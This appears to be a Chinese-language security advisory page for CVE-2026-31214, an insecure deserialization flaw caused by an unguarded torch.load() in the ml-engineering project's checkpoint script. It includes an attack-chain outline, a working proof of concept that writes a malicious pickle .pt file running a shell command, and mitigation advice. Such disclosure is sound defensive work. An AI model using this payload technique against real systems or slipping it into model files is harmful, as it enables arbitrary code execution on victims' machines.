IPBUF安全漏洞报告
English
CVE-2026-31214 CVSS 9.8 严重

CVE-2026-31214 ml-engineering 代码执行漏洞

披露日期: 2026-05-12

漏洞信息

漏洞编号
CVE-2026-31214
漏洞类型
不安全的反序列化
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
ml-engineering

相关标签

RCECWE-502PyTorchInsecure Deserializationml-engineering

漏洞概述

ml-engineering项目中的torch-checkpoint-shrink.py脚本存在严重的不安全反序列化漏洞。由于该脚本在处理PyTorch检查点文件时,使用torch.load()函数未启用安全参数weights_only=True,导致攻击者可诱导系统加载特制的恶意文件。利用pickle模块的不安全特性,攻击者可在反序列化过程中执行任意Python代码,从而在无需用户交互的情况下完全控制系统。

技术细节

该漏洞位于ml-engineering项目的torch-checkpoint-shrink.py脚本中,属于典型的不安全反序列化漏洞(CWE-502)。脚本的核心问题在于使用了PyTorch的torch.load()函数来处理模型检查点文件,但未启用至关重要的安全参数weights_only=True。在默认配置下,torch.load()内部使用Python的pickle模块来恢复对象。Pickle模块在反序列化过程中具有危险性,因为它允许通过定义对象的__reduce__方法来执行任意Python代码。由于该脚本缺乏对输入文件的严格验证,攻击者可以构建一个包含恶意Payload的.pt文件。当受害者运行脚本并加载此恶意文件时,pickle反序列化过程会自动解析并执行其中的恶意指令。攻击者无需认证即可利用此漏洞,在运行脚本的上下文中实现远程任意代码执行,从而完全控制受害主机,造成数据泄露、篡改或服务中断。

攻击链分析

STEP 1
侦察
攻击者识别出目标正在使用ml-engineering项目中的torch-checkpoint-shrink.py脚本处理检查点文件。
STEP 2
武器化
攻击者编写Python脚本,利用pickle机制生成包含恶意Payload(如反弹Shell命令)的.pt文件。
STEP 3
投递
攻击者将恶意构造的.pt文件上传到目标服务器,或通过社会工程学诱导管理员使用该文件。
STEP 4
利用
受害者或自动脚本运行torch-checkpoint-shrink.py,并调用torch.load()加载恶意的.pt文件。
STEP 5
执行
由于未开启安全限制,pickle模块在反序列化时自动解析并执行攻击者嵌入的任意代码。
STEP 6
影响
攻击者获取目标系统的控制权限,可进一步窃取数据、破坏系统或横向移动。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import torch import pickle import os # Define a malicious class that executes code upon deserialization class MaliciousPayload: def __reduce__(self): # The command to execute: creating a file as proof of concept # In a real attack, this could be a reverse shell return (os.system, ('touch /tmp/pwned_by_cve_2026_31214',)) # Create the malicious object exploit = MaliciousPayload() # Serialize the object using pickle and save it as a .pt file # This mimics a PyTorch checkpoint file filename = 'malicious_checkpoint.pt' with open(filename, 'wb') as f: pickle.dump(exploit, f) print(f"Malicious checkpoint '{filename}' created.") print("When torch.load('malicious_checkpoint.pt') is run without weights_only=True, the command executes.")

影响范围

ml-engineering commit 0099885db36a8f06556efe1faf552518852cb1e0

防御指南

临时缓解措施
建议开发者立即审查代码中所有使用torch.load()的位置,确保添加weights_only=True参数以阻止加载任意Python对象。如果必须加载完整对象,应在隔离的沙箱环境中进行,并严格限制文件来源,防止加载未经核实的检查点文件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表